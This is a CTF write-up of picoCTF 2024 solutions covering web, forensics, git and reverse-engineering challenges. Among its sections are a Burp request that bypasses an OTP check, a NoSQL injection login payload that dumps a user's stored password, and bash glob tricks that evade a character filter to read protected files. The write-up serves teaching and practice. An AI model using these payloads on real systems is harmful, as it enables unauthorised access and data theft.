Home picoCTF 2024
Post
Cancel

picoCTF 2024

picoCTF 2024 is a two-week competitive CTF open to anyone, with prizes available to eligible teams.

Web - Bookmarklet

To unveil the hidden flag, either execute the JavaScript code in your browser’s developer console or save it as a bookmark. Upon execution, a dialog box will appear displaying the decrypted flag.

1
2
3
4
5
6
7
8
9
javascript:(function() {
  var encryptedFlag = "**REDACTED_ENCRYPTED_VALUE**";
  var key = "picoctf";
  var decryptedFlag = "";
  for (var i = 0; i < encryptedFlag.length; i++) {
      decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
  }
  alert(decryptedFlag);
})();

picoCTF{p@g3_turn3r_0148cb05}

Web - WebDecode

Upon viewing the source of the about page we find a custom attribute named notify_true is present within the section element. This attribute seems to contain encoded information.

1
2
3
4
5
6
 <section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9">
   <h1>
    Try inspecting the page!! You might find it there
   </h1>
   <!-- .about-container -->
  </section>

The decoded value of notify_true attribute appears to be a base64-encoded string: picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}

Web - Intro to Burp

We have a webpage that needs an OTP code before accessing the dashboard after registering. We can adjust the register POST request to directly go to dashboard instead of redirecting to the OTP page first.

Modify the POST / HTTP 1.1 request to POST /dashboard HTTP 1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dashboard HTTP/1.1

Host: titan.picoctf.net:58137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Origin: http://titan.picoctf.net:58137
Connection: close
Referer: http://titan.picoctf.net:58137/
Cookie: session=eyJjc3JmX3Rva2VuIjoiNDIzNzgzOTExNzJiZmY4MzU2ODQ4NzQ3NDBiZjQ4ZWNjMWIyMWEwYiJ9.ZffrCg.6KD7P9Xq2TwKAUf-26Wmbsd6qes
Upgrade-Insecure-Requests: 1

csrf_token=IjQyMzc4MzkxMTcyYmZmODM1Njg0ODc0NzQwYmY0OGVjYzFiMjFhMGIi.ZffrCg.063H70GCt5PliHmLenMLnuXbwSM&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register

picoCTF{#0TP_Bypvss_SuCc3$S_9090d63c}

Web - Unminify

We can find the flag in the source code of the webpage.

1
<div class="picoctf{}" style="width:70%"><p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p><p class="picoCTF{pr3tty_c0d3_dbe259ce}"></p><p class="picoctf{}">

picoCTF{pr3tty_c0d3_dbe259ce}

Web - NoSQL Injection

This challenge starts with a login page. We also get the source code, in the source code we can find that the web application is using a NoSQL database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export const POST = async (req: any) => {
  const { email, password } = await req.json();
  try {
    await connectToDB();
    await seedUsers();
    const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });

    if (users.length < 1)
      return new Response("Invalid email or password", { status: 401 });
    else {
      return new Response(JSON.stringify(users), { status: 200 });
    }
  } catch (error) {
    return new Response("Internal Server Error", { status: 500 });
  }
};

It does some parsing of values that are incapsulated with “{}” so the normal NoSQL payloads don’t work, we need to encapsulate it in “{}”. One thing to note is that we first get redirected to the same endpoint, in Burp we need to click “Follow Redirection” for the result to show up.

Request

1
2
3
4
5
6
7
POST /api/login HTTP/1.1
Host: atlas.picoctf.net:57282

{
  "email": "{\"$ne\":\"1\"}",
  "password": "{\"$ne\":\"1\"}"
}

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK

[
  {
    "_id": "65f08c62d0e2b5f7325ce282",
    "email": "joshiriya355@mumbama.com",
    "firstName": "Josh",
    "lastName": "Iriya",
    "password": "Je80T8M7sUA",
    "token": "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzE0MzI5Y2ZhfQ==",
    "__v": 0
  }
]

We get a base64 encoded value, which we can decode to get the flag.

1
2
$ echo 'cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzE0MzI5Y2ZhfQ==' | base64 -d
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_14329cfa}  

Forensics - Scan Suprise

1
2
3
$ zbarimg flag.png 
QR-Code:picoCTF{p33k_@_b00_7843f77c}
scanned 1 barcode symbols from 1 images in 0 seconds

Forensics - CanYouSee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ exiftool ukn_reality.jpg            
ExifTool Version Number         : 12.67
File Name                       : ukn_reality.jpg
Directory                       : .
File Size                       : 2.3 MB
File Modification Date/Time     : 2024:03:18 16:03:36+01:00
File Access Date/Time           : 2024:03:18 16:03:53+01:00
File Inode Change Date/Time     : 2024:03:18 16:03:53+01:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 11.88
Attribution URL                 : cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg==
Image Width                     : 4308
Image Height                    : 2875
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4308x2875
Megapixels                      : 12.4
                                                                                                                        
┌──(kali㉿kali)-[~/ctf/picoCTF/picoCTF_2024]
└─$ echo 'cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg==' | base64 -dd
picoCTF{ME74D47A_HIDD3N_d8c381fd}

Forensics - Secret of the Polyglot

We get a PDF file that contains the second part of the flag “1n_pn9_&_pdf_2a6a1ea8}” but upon checking the filetype of the PDF file we notice it’s a png file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ file flag2of2-final.pdf              
flag2of2-final.pdf: PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
$ exiftool flag2of2-final.pdf 
ExifTool Version Number         : 12.67
File Name                       : flag2of2-final.pdf
Directory                       : .
File Size                       : 3.4 kB
File Modification Date/Time     : 2024:03:19 08:36:22+01:00
File Access Date/Time           : 2024:03:19 08:37:44+01:00
File Inode Change Date/Time     : 2024:03:19 08:37:44+01:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 50
Image Height                    : 50
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Profile Name                    : ICC profile
Profile CMM Type                : Little CMS
Profile Version                 : 4.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2023:11:02 17:42:31
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : GIMP built-in sRGB
Profile Copyright               : Public Domain
Media White Point               : 0.9642 1 0.82491
Chromatic Adaptation            : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column               : 0.43604 0.22249 0.01392
Blue Matrix Column              : 0.14305 0.06061 0.71393
Green Matrix Column             : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown
Chromaticity Channel 1          : 0.64 0.33002
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.15001 0.06
Device Mfg Desc                 : GIMP
Device Model Desc               : sRGB
Pixels Per Unit X               : 11811
Pixels Per Unit Y               : 11811
Pixel Units                     : meters
Modify Date                     : 2023:11:02 17:57:06
Comment                         : Created with GIMP
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 50x50
Megapixels                      : 0.003

We open the file with an image viewer and find the first part of the flag: “picoCTF{f1u3n7_”

1
$ display flag2of2-final.pdf

picoCTF{f1u3n71n_pn9&_pdf_2a6a1ea8}

Forensics - Verify

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ ssh -p 56069 ctf-player@rhea.picoctf.net
ctf-player@pico-chall$ ls
checksum.txt  decrypt.sh  files
ctf-player@pico-chall$ sha256sum files/*
914eb674c3c0625ac3d0d229d3df05e3a1e74815dbc5ec1ed72ff7f07569a6b9  files/0QFPjDGl
c4cacb221571c4f813be56056fc0f00a244a9664ed3a7223b6bc543433984c44  files/0wKPM7Vk
b52f46a38b72d550c15366ba1345d304449a4f46b2011c57b0858e959d9ea46b  files/10tptfxh
2a077817bad18787db2847c600e722b90b50ad529e3eb6734065d94f9be4c9c3  files/119zBIIk
d8a154873237bf0fccdffb14702a5692d94da03fd99a503203f1a1c1f24cfb50  files/19TB8pZ3
c2f20f736137221306d268b72c9127822b7e9c1051bbced2a3497dd44655aa43  files/1OUKnRjk
...
...
...
a2208226a0d46667f0032ca63a07ab1e0a6621b4c5ad0409b5e7b607b4fc2333  files/zIiqnki2
cd9bdce014f7588725213e734e947b780ffe8bec4a2052dbbcebc44069dac94e  files/zQ8S4zxx
0595cd1fe5883ca4a8bae2c8916f11c02cbde0f8e2b29aa5ea41372e363fae29  files/zTraYrZH
5ff21b73e481650a1196bf9a052caf9c9eb4a3ae31e039ea2f5bba315f358afa  files/zVojuqQn
a1ec4c70e3747ef6acc06e9f60f9ecafebeb48f1bd6a6d250ff45b22eccf9b3d  files/zeT6ehJv
ctf-player@pico-chall$ sha256sum files/* | grep $(cat checksum.txt)
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2  files/451fd69b
ctf-player@pico-chall$ ./decrypt.sh files/451fd69b 
picoCTF{trust_but_verify_451fd69b}

Forensics - Little Endian

endian-flag

picoCTF{cert!f1Ed_iNd!4n_s0rrY_3nDian_004850bf}

Forensics - Mob Psycho

We get an apk file, we can unzip this file and search in the files for the flag.txt file.

1
2
3
4
5
$ unzip mobpsycho.apk 
$ find . -name "flag*"    
./res/color/flag.txt
$ cat ./res/color/flag.txt
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d

We get a hex value which we can convert to ASCII with xxd.

The xxd command can generate a hex dump from a given input or reverse a hex dump given as input. -r option performs a reverse operation and converts the hex value to binary -p option prints the result in a plain-text format

1
2
$ echo 7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d | xxd -r -p    
picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_703dd9ef} 

Forensics - Blast from the past

The judge for these pictures is a real fan of antiques. Can you age this photo to the specifications? Set the timestamps on this picture to 1970:01:01 00:00:00.001+00:00 with as much precision as possible for each timestamp. In this example, +00:00 is a timezone adjustment. Any timezone is acceptable as long as the time is equivalent. As an example, this timestamp is acceptable as well: 1969:12:31 19:00:00.001-05:00. For timestamps without a timezone adjustment, put them in GMT time (+00:00). The checker program provides the timestamp needed for each. Use this picture.

We can use exiftool to generate an export of the full metadata of the picture.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
$ cp original.jpg original_modified.jpg
$ exiftool -a -u -g1 original_modified.jpg > metadata.txt
$ cat metadata.txt                
---- ExifTool ----
ExifTool Version Number         : 12.67
---- System ----
File Name                       : original_modified.jpg
Directory                       : .
File Size                       : 2.9 MB
File Modification Date/Time     : 2024:03:19 19:49:31+01:00
File Access Date/Time           : 2024:03:19 20:06:01+01:00
File Inode Change Date/Time     : 2024:03:19 20:06:01+01:00
File Permissions                : -rwxrwx---
---- File ----
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Image Width                     : 4000
Image Height                    : 3000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
---- IFD0 ----
Image Width                     : 4000
Image Height                    : 3000
Image Description               : 
Make                            : samsung
Camera Model Name               : SM-A326U
Orientation                     : Rotate 90 CW
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : MediaTek Camera Application
Modify Date                     : 2023:11:20 15:46:23
Y Cb Cr Positioning             : Co-sited
Exif 0x0220                     : 0
Exif 0x0221                     : 0
Exif 0x0222                     : 0
Exif 0x0223                     : 0
Exif 0x0224                     : 0
Exif 0x0225                     : 
---- ExifIFD ----
Exposure Time                   : 1/24
F Number                        : 1.8
Exposure Program                : Program AE
ISO                             : 500
Sensitivity Type                : Unknown
Recommended Exposure Index      : 0
Exif Version                    : 0220
Date/Time Original              : 2023:11:20 15:46:23
Create Date                     : 2023:11:20 15:46:23
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/24
Aperture Value                  : 1.9
Brightness Value                : 3
Exposure Compensation           : 0
Max Aperture Value              : 1.8
Metering Mode                   : Center-weighted average
Light Source                    : Other
Flash                           : On, Fired
Focal Length                    : 4.6 mm
Sub Sec Time                    : 703
Sub Sec Time Original           : 703
Sub Sec Time Digitized          : 703
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 4000
Exif Image Height               : 3000
Exposure Mode                   : Auto
White Balance                   : Auto
Digital Zoom Ratio              : 1
Focal Length In 35mm Format     : 25 mm
Scene Capture Type              : Standard
---- InteropIFD ----
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
---- IFD1 ----
Image Width                     : 512
Image Height                    : 384
Compression                     : JPEG (old-style)
Orientation                     : Rotate 90 CW
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Thumbnail Offset                : 1408
Thumbnail Length                : 64000
Y Cb Cr Positioning             : Co-sited
Thumbnail Image                 : (Binary data 64000 bytes, use -b option to extract)
---- Samsung ----
Samsung Trailer 0x0a01 Name     : Image_UTC_Data
Time Stamp                      : 2023:11:20 21:46:21.420+01:00
Samsung Trailer 0x0aa1 Name     : MCC_Data
MCC Data                        : United States / Guam (310)
Samsung Trailer 0x0c61 Name     : Camera_Capture_Mode_Info
Samsung Trailer 0x0c61          : (Binary data 1 bytes, use -b option to extract)
---- Composite ----
Aperture                        : 1.8
Image Size                      : 4000x3000
Megapixels                      : 12.0
Scale Factor To 35 mm Equivalent: 5.4
Shutter Speed                   : 1/24
Create Date                     : 2023:11:20 15:46:23.703
Date/Time Original              : 2023:11:20 15:46:23.703
Modify Date                     : 2023:11:20 15:46:23.703
Circle Of Confusion             : 0.006 mm
Field Of View                   : 71.5 deg
Focal Length                    : 4.6 mm (35 mm equivalent: 25.0 mm)
Hyperfocal Distance             : 2.13 m
Light Value                     : 4.0

We can try to set all dates to “1970:01:01 00:00:00.001+00:00”. But this seem to not include all the dates that need to be changed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ exiftool "-AllDates=1970:01:01 00:00:00.001+00:00" original_modified.jpg      
    1 image files updated
$ nc -w 2 mimas.picoctf.net 59621 < original_modified.jpg             
$ nc  mimas.picoctf.net 61575                                         
MD5 of your picture:
e7537a20fd614f08232eaa16d4f6587a  test.out

Checking tag 1/7
Looking at IFD0: ModifyDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 2/7
Looking at ExifIFD: DateTimeOriginal
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 3/7
Looking at ExifIFD: CreateDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 4/7
Looking at Composite: SubSecCreateDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.703
Oops! That tag isn't right. Please try again.

After some back and forth, we create this oneliner that helps us get to the last step.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ exiftool "-AllDates=1970:01:01 00:00:00.001+00:00" "-SubSecCreateDate=1970:01:01 00:00:00.001" "-SubSecDateTimeOriginal=1970:01:01 00:00:00.001" "-SubSecModifyDate=1970:01:01 00:00:00.001" original_modified.jpg

    1 image files updated
                                                                                                                        
$ nc -w 2 mimas.picoctf.net 59621 < original_modified.jpg
$ nc  mimas.picoctf.net 61575
MD5 of your picture:
eb5ae92ce9f801b9d1aa8e4c800e9705  test.out

Checking tag 1/7
Looking at IFD0: ModifyDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 2/7
Looking at ExifIFD: DateTimeOriginal
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 3/7
Looking at ExifIFD: CreateDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 4/7
Looking at Composite: SubSecCreateDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 5/7
Looking at Composite: SubSecDateTimeOriginal
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 6/7
Looking at Composite: SubSecModifyDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 7/7
Timezones do not have to match, as long as it's the equivalent time.
Looking at Samsung: TimeStamp
Looking for '1970:01:01 00:00:00.001+00:00'
Found: 2023:11:20 20:46:21.420+00:00
Oops! That tag isn't right. Please try again.

The final step presents a challenge, as the Samsung: TimeStamp field is not editable through standard tools like exiftool . Previously, Samsung provided a tool for this purpose, but unfortunately, the link to it is broken, and no mirrors are available on the Wayback Machine.

However, with the aid of a hex editor, we can manually adjust this timestamp. The target code resides at the bottom of the hex file under IMAGE_UTC_DATA1710862908000 , representing the Unix timestamp for the date “2024:03:19 09:15:41+01:00”. To modify it, we need to change this value to IMAGE_UTC_DATA0000000000001 , signifying “1970:01:01 00:00:00.001”, which marks the beginning of the Unix timestamp. The replacement of the last digit with “1” reflects the shift to the first millisecond of Unix time.

blastfromthepast-hexedit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ hexedit original_modified.jpg
$ nc -w 2 mimas.picoctf.net 61759 < original_modified.jpg
$ nc mimas.picoctf.net 56243                                 
MD5 of your picture:
412331ca77b633d2529dc0e0ab5ad6eb  test.out

Checking tag 1/7
Looking at IFD0: ModifyDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 2/7
Looking at ExifIFD: DateTimeOriginal
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 3/7
Looking at ExifIFD: CreateDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 4/7
Looking at Composite: SubSecCreateDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 5/7
Looking at Composite: SubSecDateTimeOriginal
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 6/7
Looking at Composite: SubSecModifyDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 7/7
Timezones do not have to match, as long as it's the equivalent time.
Looking at Samsung: TimeStamp
Looking for '1970:01:01 00:00:00.001+00:00'
Found: 1970:01:01 00:00:00.001+00:00
Great job, you got that one!

You did it!
picoCTF{71m3_7r4v311ng_p1c7ur3_83ecb41c}

Forensics - Dear Diary

1
2
3
4
5
6
$ curl https://artifacts.picoctf.net/c_titan/63/disk.flag.img.gz -o disk.flag.img.gz
$ gzip -d disk.flag.img.gz 
$ ls
disk.flag.img
$ file disk.flag.img 
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0x26,94,56), startsector 2048, 614400 sectors; partition 2 : ID=0x82, start-CHS (0x26,94,57), end-CHS (0x47,1,58), startsector 616448, 524288 sectors; partition 3 : ID=0x83, start-CHS (0x47,1,59), end-CHS (0x82,138,8), startsector 1140736, 956416 sectors

We can use autopsy to investigate the image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo autopsy              
[sudo] password for kali: 

============================================================================

                       Autopsy Forensic Browser 
                  http://www.sleuthkit.org/autopsy/
                             ver 2.24 

============================================================================
Evidence Locker: /var/lib/autopsy
Start Time: Tue Mar 19 11:17:49 2024
Remote Host: localhost
Local Port: 9999

Open an HTML browser on the remote host and paste this URL in it:

    http://localhost:9999/autopsy

Keep this process running and use <ctrl-c> to exit
Cannot determine file system type

After starting autopsy, we need to start a new case and go through the wizard, selecting defaults and linking our image.

We can then do a text search, searching for “picoCTF{“ doesn’t provide anything but we find parts of the flag by searching for all txt files and finding “file.txt”. The flag is split in 2-3 characters over these files.

picoCTF{1_533_n4m35_80d24b30}

General - Super SSH

1
2
3
4
5
6
7
8
$ ssh -p 49226 ctf-player@titan.picoctf.net
The authenticity of host '[titan.picoctf.net]:49226 ([3.139.174.234]:49226)' can't be established.
ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[titan.picoctf.net]:49226' (ED25519) to the list of known hosts.
ctf-player@titan.picoctf.net's password: 
Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_65a7a106}

General - Time Machine

What was I last working on? I remember writing a note to help me remember…

We get a zip from a git repository. We can see the history with git log.

1
2
3
4
5
6
7
$ cd drop-in         
$ git log          
commit e65fedb3a72a16c577f4b17023b63997134b307d (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:29 2024 +0000

    picoCTF{t1m3m@ch1n3_88c35e3b}

General - Commitment Issues

I accidentally wrote the flag down. Good thing I deleted it!

We get a zipped git repository, we can see the commits and get the details of the commit by using git diff <commit-id>.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd drop-in     
$ git log
commit 144fdc44b09058d7ea7f224121dfa5babadddbb9 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    remove sensitive info

commit 7d3aa557ff7ba7d116badaf5307761efb3622249
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    create flag
                                                                                                                        
$ git diff 7d3aa557ff7ba7d116badaf5307761efb3622249
diff --git a/message.txt b/message.txt
index 3a71673..d552d1e 100644
--- a/message.txt
+++ b/message.txt
@@ -1 +1 @@
-picoCTF{s@n1t1z3_be3dd3da}
+TOP SECRET

General - Blame Game

Someone’s commits seems to be preventing the program from working. Who is it?

We can see the details of the commits and authors from a file by using git blame <file>.

1
2
3
4
5
$ cd drop-in  
$ ls
message.py
$ git blame message.py 
23e9d4ce (picoCTF{@sk_th3_1nt3rn_81e716ff} 2024-03-12 00:07:15 +0000 1) print("Hello, World!"

General - Collaborative Development

My team has been working very hard on new features for our flag printing program! I wonder how they’ll work together?

There are a few branches in this repository, we can view the differences between them and the main branch by using git diff main <branch-name>.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ git status
On branch main
nothing to commit, working tree clean
$ git branch -a
  feature/part-1
  feature/part-2
  feature/part-3
* main
$ git diff main feature/part-1
diff --git a/flag.py b/flag.py
index 77d6cec..6e17fb3 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,2 @@
 print("Printing the flag...")
+print("picoCTF{t3@mw0rk_", end='')
\ No newline at end of file
$ git diff main feature/part-2
diff --git a/flag.py b/flag.py
index 77d6cec..7ab4e25 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,3 @@
 print("Printing the flag...")
+
+print("m@k3s_th3_dr3@m_", end='')
\ No newline at end of file
$ git diff main feature/part-3
diff --git a/flag.py b/flag.py
index 77d6cec..c312152 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,3 @@
 print("Printing the flag...")
+
+print("w0rk_798f9981}")

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_798f9981}

General - SansAlpha

The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols.

During experimentation with payloads, the program crashed, revealing the shell loads a python script “/usr/local/sansalpha.py” that validates the input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh -p 55096 ctf-player@mimas.picoctf.net  "bash --noprofile"
SansAlpha$ ls
SansAlpha: Unknown character detected
SansAlpha$ $(1)
bash: 1: command not found
SansAlpha: Unknown character detected
SansAlpha$ 3
bash: 3: command not found
SansAlpha$ $(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(($(65))))+$(66))))+$(67))))))))))))))))))))))))))))

> 
SansAlpha$ Traceback (most recent call last):
  File "/usr/local/sansalpha.py", line 12, in <module>
    if user_in[-1] != "\n":
IndexError: string index out of range

We can use */ to see the directory we are in, and */* to list all the files in the current directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh -p 57390 ctf-player@mimas.picoctf.net


SansAlpha$ *
bash: blargh: command not found

SansAlpha$ /*
bash: /bin/: Is a directory

SansAlpha$ */
bash: blargh/: Is a directory

SansAlpha$ */*
bash: blargh/flag.txt: Permission denied

We have the location of the flag, we can use file globbing to get the value of the flag and use $(<COMMAND>) to spawn a shell and use ? in combination with < to get the file printed out.

File globbing: globbing is a term used in Unix-like operating systems to match patterns in file names.

1
2
SansAlpha$ $(< ??????/????.???)
bash: return: too many arguments

Wrapping the entire command substitution in double quotes ensures that the shell treats the entire command as a single argument, even if the file path contains spaces or special characters. This prevents word splitting, which would otherwise occur if the argument wasn’t quoted.

1
2
SansAlpha$ "$(< ??????/????.???)"
bash: return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_b0d5e855}: command not found

A summary of the characters used:

  • *: is a wildcard character used in Unix-like operating systems to match any sequence of characters in a filename.
  • $(<COMMAND>): Executes the command inside and substitutes its output.
  • ?: Used as a wildcard character to match any single character in filenames.
  • <: Redirects the contents of a file to a command, allowing it to be read.

We can now also print out the source code from the python script that leaked when causing an error earlier in our reconaissance stage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SansAlpha$ "$(</???/?????/?????????.??)"
bash: #!/usr/bin/python3

from pwn import *
from time import sleep
import re


b = process(executable="/usr/bin/bash", argv=[], stdin=PTY)

while True:
  user_in = input("SansAlpha$ ")
  if user_in[-1] != "\n":
    user_in += "\n"
  alpha_filter_result = re.search("[a-zA-Z]", user_in)
  slash_filter_result = re.search("\\\\", user_in)
  if user_in == "exit\n":
    break
  if alpha_filter_result != None or slash_filter_result != None:
    print("SansAlpha: Unknown character detected")
    continue
  cmd = user_in.encode()
  b.send(cmd)
  sleep(0.5)
  o = b.recv(timeout=0.5)
  if o != b"":
    for line in o.decode().split('\n'):
      print(line): No such file or directory

Alternative payload

An alternative payload I have seen used is:

1
2
SansAlpha$ _42=(/???/????64)
SansAlpha$ "${_42[0]}" */????.???

Reverse Engineering - WinAntiDbg0x100

This challenge will introduce you to ‘Anti-Debugging.’ Malware developers don’t like it when you attempt to debug their executable files because debugging these files reveals many of their secrets! That’s why, they include a lot of code logic specifically designed to interfere with your debugging process. Now that you’ve understood the context, go ahead and debug this Windows executable! This challenge binary file is a Windows console application and you can start with running it using cmd on Windows.

After loading the binary into IDA, we identified a method that invokes the IsDebuggerPresent function. When the IsDebuggerPresent function is called, it typically returns a value indicating whether a debugger is present. In many implementations, if a debugger is detected, IsDebuggerPresent returns a non-zero value (usually 1), indicating true. Conversely, if no debugger is detected, it returns zero, indicating false.

